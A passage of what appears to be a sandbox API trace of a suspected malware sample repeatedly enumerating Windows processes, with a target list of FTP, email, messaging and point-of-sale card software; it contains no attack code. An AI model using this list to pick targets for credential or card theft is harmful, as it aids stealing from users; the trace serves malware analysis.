pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0238.462] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0238.464] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0238.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0238.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0238.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0238.522] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0238.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0238.525] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0238.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0238.527] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0238.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0238.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0238.532] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0238.533] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.536] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0238.537] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0238.539] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0238.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0238.543] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0238.545] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.547] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.549] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0238.600] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.602] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.605] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.607] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.609] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.611] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.614] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.616] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.618] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.621] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.625] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.627] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.629] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.677] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.679] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.681] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.682] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.684] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.686] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.691] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.692] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.694] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.695] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0238.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0238.698] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0238.700] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0238.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0238.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.704] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.706] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.707] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0238.709] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0238.711] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0238.713] CloseHandle (hObject=0x13b0) returned 1 [0238.714] Sleep (dwMilliseconds=0x64) [0238.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0238.768] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.772] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.774] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.778] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.780] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.797] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 